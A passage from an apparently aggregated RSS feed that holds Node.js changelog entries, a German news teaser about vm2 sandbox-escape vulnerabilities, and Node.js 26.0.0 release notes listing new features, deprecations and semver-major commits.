<li>[<a href="https://github.com/nodejs/node/commit/644e2399d6"><code>644e2399d6</code></a>] - <strong>test_runner</strong>: add <code>getTestContext()</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62501" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62501/hovercard">#62501</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/480d538830"><code>480d538830</code></a>] - <strong>tools</strong>: use <code>npm ci</code> in Undici update script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63098/hovercard">#63098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9afb013edd"><code>9afb013edd</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to c6d65881c5624c9cae5ea6cedef24699b0c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63091/hovercard">#63091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9f2f5a90a"><code>b9f2f5a90a</code></a>] - <strong>tools</strong>: bump postcss from 8.5.8 to 8.5.10 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62966" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62966/hovercard">#62966</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09e4f4caca"><code>09e4f4caca</code></a>] - <strong>tools</strong>: use LTS Node.js in notify-on-push workflow (Nenad Spasenic) <a href="https://github.com/nodejs/node/pull/63084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63084/hovercard">#63084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af4c89774"><code>2af4c89774</code></a>] - <strong>tools</strong>: implements a few nits on <code>build-aarch64-linux-v8</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63048/hovercard">#63048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf9c1849ca"><code>cf9c1849ca</code></a>] - <strong>tools</strong>: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63065/hovercard">#63065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/96370a57ed"><code>96370a57ed</code></a>] - <strong>tools</strong>: simplify <code>update-undici.sh</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63044/hovercard">#63044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b90486edd8"><code>b90486edd8</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> on unrelated tools changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63037/hovercard">#63037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac49e7c9fc"><code>ac49e7c9fc</code></a>] - <strong>tools</strong>: migrate from <code>openssl-matrix.json</code> to <code>openssl-matrix.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63036/hovercard">#63036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9df3e37fd"><code>a9df3e37fd</code></a>] - <strong>tools</strong>: update labels for nixpkgs pin bumps (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62994/hovercard">#62994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cee0154af8"><code>cee0154af8</code></a>] - <strong>tools</strong>: reuse V8 builds even without Cachix on test-shared (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62980/hovercard">#62980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78c183da6b"><code>78c183da6b</code></a>] - <strong>tools</strong>: do not include HTML docs in slim tarball (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62989" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62989/hovercard">#62989</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04ce9df084"><code>04ce9df084</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62848/hovercard">#62848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d2952c00a"><code>4d2952c00a</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 01fbdeef22b76df85ea168fbfe1bfd9e636 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62963" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62963/hovercard">#62963</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/555ad12f27"><code>555ad12f27</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62961/hovercard">#62961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f92cbc2c81"><code>f92cbc2c81</code></a>] - <strong>tools</strong>: fix commit linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62993" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62993/hovercard">#62993</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b5bb4d758"><code>3b5bb4d758</code></a>] - <strong>tools</strong>: consolidate and simplify .editorconfig deps section (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62887/hovercard">#62887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/027bef4f3e"><code>027bef4f3e</code></a>] - <strong>tools</strong>: add non-default OpenSSL versions to the test-shared workflow (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62862" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62862/hovercard">#62862</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fdcd7752de"><code>fdcd7752de</code></a>] - <strong>tools</strong>: set bot as author of tools-deps-update PRs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62856" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62856/hovercard">#62856</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab7be6d987"><code>ab7be6d987</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.4 to 5.0.5 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62458/hovercard">#62458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82281ffd59"><code>82281ffd59</code></a>] - <strong>tools</strong>: bump brace-expansion in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62467/hovercard">#62467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48bb51b3d7"><code>48bb51b3d7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ab72be9733b41190ea34f1422a3e4e243ed (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62821/hovercard">#62821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67baa3254b"><code>67baa3254b</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62512/hovercard">#62512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdee0a859d"><code>bdee0a859d</code></a>] - <strong>tools</strong>: exclude @node-core/doc-kit from dependabot cooldown (Levi Zim) <a href="https://github.com/nodejs/node/pull/62775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62775/hovercard">#62775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e19f55214"><code>9e19f55214</code></a>] - <strong>tools</strong>: re-enable undici WPTs in daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62677/hovercard">#62677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eedbdded9"><code>1eedbdded9</code></a>] - <strong>tools</strong>: use upstream version of OpenSSL in <code>test-shared</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62679" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62679/hovercard">#62679</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3490c1fba1"><code>3490c1fba1</code></a>] - <strong>tools</strong>: pass the Temporal disable flag when disabled in <code>shell.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62733" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62733/hovercard">#62733</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a29dafd2d"><code>3a29dafd2d</code></a>] - <strong>tools</strong>: fix <code>--shared-ffi</code> compilation on macOS (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62737" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62737/hovercard">#62737</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cb9108b9c"><code>5cb9108b9c</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 13043924aaa7375ce482ebe2494338e0582 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62700/hovercard">#62700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/757cd21ea0"><code>757cd21ea0</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62697/hovercard">#62697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fad51c2f03"><code>fad51c2f03</code></a>] - <strong>tools</strong>: add a check for clean git tree after tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62661/hovercard">#62661</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1c517fd61"><code>d1c517fd61</code></a>] - <strong>tools</strong>: improve backport review script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62573" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62573/hovercard">#62573</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d169c75f7"><code>6d169c75f7</code></a>] - <strong>tools</strong>: make <code>v8.nix</code> more stable (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62508" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62508/hovercard">#62508</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1587a60bf8"><code>1587a60bf8</code></a>] - <strong>tools</strong>: add perfetto updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f54d74a5e7"><code>f54d74a5e7</code></a>] - <strong>tools</strong>: improve output for unexpected passes in WTP tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62587/hovercard">#62587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86c96333c"><code>a86c96333c</code></a>] - <strong>tools</strong>: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62627" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62627/hovercard">#62627</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9860f5800"><code>c9860f5800</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a6522db5b947cd7026a40d02acc3ca26136 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62596" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62596/hovercard">#62596</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae41e2a141"><code>ae41e2a141</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62552/hovercard">#62552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2ba824407"><code>e2ba824407</code></a>] - <strong>tools</strong>: allow triagers to queue a PR for CI until it's reviewed (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62524/hovercard">#62524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/899d780f15"><code>899d780f15</code></a>] - <strong>tools</strong>: do not run <code>commit-lint</code> on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62523/hovercard">#62523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/102da27b4e"><code>102da27b4e</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3abd78c3e5"><code>3abd78c3e5</code></a>] - <strong>url</strong>: optimize URLSearchParams set/delete duplicate handling (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62266/hovercard">#62266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd3bf3830b"><code>fd3bf3830b</code></a>] - <strong>url</strong>: align default argument handling for URLPattern with webidl (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62719/hovercard">#62719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b85c73ff10"><code>b85c73ff10</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c1d6b3db73"><code>c1d6b3db73</code></a>] - <strong>v8</strong>: add cpu profile options (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62684/hovercard">#62684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/717d9a7fda"><code>717d9a7fda</code></a>] - <strong>v8</strong>: add heap profile API (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62273" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62273/hovercard">#62273</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b885667a9"><code>2b885667a9</code></a>] - <strong>watch</strong>: track worker entry files in watch mode (SudhansuBandha) <a href="https://github.com/nodejs/node/pull/62368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62368/hovercard">#62368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/457fb55193"><code>457fb55193</code></a>] - <strong>watch</strong>: fix --env-file-if-exists crashing on linux if the file is missing (Efe) <a href="https://github.com/nodejs/node/pull/61870" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61870/hovercard">#61870</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – In der beliebten vm2 Node.js-Bibliothek wurden mehrere kritische Sicherheitslücken entdeckt, die es Angreifern ermöglichen könnten, aus der Sandbox auszubrechen und beliebigen Code auszuführen. Diese Schwachstellen stellen ein erhebliches Risiko für Systeme dar, die auf die...]]></description>
<link>https://tsecurity.de/de/3494765/it-security-nachrichten/kritische-sicherheitsluecken-in-der-vm2-nodejs-bibliothek-entdeckt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3494765/it-security-nachrichten/kritische-sicherheitsluecken-in-der-vm2-nodejs-bibliothek-entdeckt/</guid>
<pubDate>Thu, 07 May 2026 07:53:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/05/ai-vm2-nodejs-security-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – In der beliebten vm2 Node.js-Bibliothek wurden mehrere kritische Sicherheitslücken entdeckt, die es Angreifern ermöglichen könnten, aus der Sandbox auszubrechen und beliebigen Code auszuführen. Diese Schwachstellen stellen ein erhebliches Risiko für Systeme dar, die auf diese Bibliothek angewiesen sind, um untrusted JavaScript-Code sicher auszuführen. Die vm2 Node.js-Bibliothek, die häufig zur sicheren Ausführung […]</p>
<div><a href="https://www.it-boltwise.de/kritische-sicherheitsluecken-in-der-vm2-node-js-bibliothek-entdeckt.html">... den vollständigen Artikel <strong>»Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/kritische-sicherheitsluecken-in-der-vm2-node-js-bibliothek-entdeckt.html">Kritische Sicherheitslücken in der vm2 Node.js-Bibliothek entdeckt</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-05, Version 26.0.0 (Current), @RafaelGSS]]></title>
<description><![CDATA[We're excited to announce the release of Node.js 26! Highlights include the Temporal API enabled by default,
updates to the V8 JavaScript engine to 14.6, Undici to 8.0, and several important deprecations and removals
as we continue to modernize the platform.
As a reminder, Node.js 26 will enter l...]]></description>
<link>https://tsecurity.de/de/3489876/downloads/2026-05-05-version-2600-current-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489876/downloads/2026-05-05-version-2600-current-rafaelgss/</guid>
<pubDate>Tue, 05 May 2026 16:31:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We're excited to announce the release of Node.js 26! Highlights include the Temporal API enabled by default,<br>
updates to the V8 JavaScript engine to 14.6, Undici to 8.0, and several important deprecations and removals<br>
as we continue to modernize the platform.</p>
<p>As a reminder, Node.js 26 will enter long-term support (LTS) in October, but until then, it will be the "Current" release for the next six months.<br>
We encourage you to explore the new features and benefits offered by this latest release and evaluate their potential impact on your applications.</p>
<h3>Notable Changes</h3>
<h4>Temporal API</h4>
<p>The Temporal API is now enabled by default in Node.js 26. Temporal is a modern date/time API for JavaScript<br>
that provides a more robust and feature-rich alternative to the legacy <code>Date</code> object.</p>
<p>Contributed by Richard Lau in <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a>.</p>
<h4>V8 14.6</h4>
<p>The V8 engine is updated to version 14.6.202.33, which is part of Chromium 134.</p>
<p>This version also includes:</p>
<ul>
<li>Upsert (<a href="https://github.com/tc39/proposal-upsert">https://github.com/tc39/proposal-upsert</a>): <code>[Weak]Map.prototype.getOrInsert()</code>, <code>[Weak]Map.prototype.getOrInsertComputed()</code></li>
<li>Iterator sequencing (<a href="https://github.com/tc39/proposal-iterator-sequencing">https://github.com/tc39/proposal-iterator-sequencing</a>): <code>Iterator.concat()</code></li>
</ul>
<p>Contributed by Michaël Zasso in <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a>.</p>
<h4>Undici 8</h4>
<p>Undici has been updated to version 8.0.2, bringing new features and improvements to Node.js's HTTP client implementation.</p>
<h4>Deprecations and Removals</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/dff46c07c3"><code>dff46c07c3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: move DEP0182 to End-of-Life (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61084/hovercard">#61084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93c25815ee"><code>93c25815ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: move writeHeader to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60635/hovercard">#60635</a></li>
</ul>
<p><code>http.Server.prototype.writeHeader()</code> is now fully removed. Use <code>http.Server.prototype.writeHead()</code> instead.</p>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c755b0113c"><code>c755b0113c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: move _stream_* to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60657" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60657/hovercard">#60657</a></li>
</ul>
<p>The legacy <code>_stream_wrap</code>, <code>_stream_readable</code>, <code>_stream_writable</code>, <code>_stream_duplex</code>, <code>_stream_transform</code>, and <code>_stream_passthrough</code> modules are now fully removed.</p>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/adac077484"><code>adac077484</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: runtime-deprecate DEP0203 and DEP0204 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62453/hovercard">#62453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac6375417a"><code>ac6375417a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: promote DEP0201 to runtime deprecation (René) <a href="https://github.com/nodejs/node/pull/62173" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62173/hovercard">#62173</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98907f560f"><code>98907f560f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: runtime-deprecate module.register() (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62401/hovercard">#62401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89f4b6cddb"><code>89f4b6cddb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: remove --experimental-transform-types (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61803/hovercard">#61803</a></li>
</ul>
<h3>Semver-Major Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d3f79aa65d"><code>d3f79aa65d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>assert</strong>: allow printf-style messages as assertion error (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/58849" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58849/hovercard">#58849</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6ce381fec"><code>f6ce381fec</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: bump GCC requirement to 13.2 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/62555" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62555/hovercard">#62555</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bff81fca46"><code>bff81fca46</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable Temporal by default (Richard Lau) <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ddb1643e1"><code>6ddb1643e1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable V8_VERIFY_WRITE_BARRIERS in debug build (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8ab08b373"><code>a8ab08b373</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0998c37eb6"><code>0998c37eb6</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: target Power 9 for AIX/IBM i (Richard Lau) <a href="https://github.com/nodejs/node/pull/62296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62296/hovercard">#62296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d73c49e849"><code>d73c49e849</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: drop support for Python 3.9 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61177" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61177/hovercard">#61177</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c92ee1008"><code>3c92ee1008</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable maglev for Linux on s390x (Richard Lau) <a href="https://github.com/nodejs/node/pull/60863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60863/hovercard">#60863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/908c468828"><code>908c468828</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6380fbb5ee"><code>6380fbb5ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/089d6c77e7"><code>089d6c77e7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9bd0165c4"><code>f9bd0165c4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build,win</strong>: fix Temporal build (StefanStojanovic) <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cc4cf8fe8"><code>6cc4cf8fe8</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62499" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62499/hovercard">#62499</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/adac077484"><code>adac077484</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: runtime-deprecate DEP0203 and DEP0204 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62453/hovercard">#62453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74509b166a"><code>74509b166a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: decorate async crypto job errors with OpenSSL error details (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62348/hovercard">#62348</a></li>
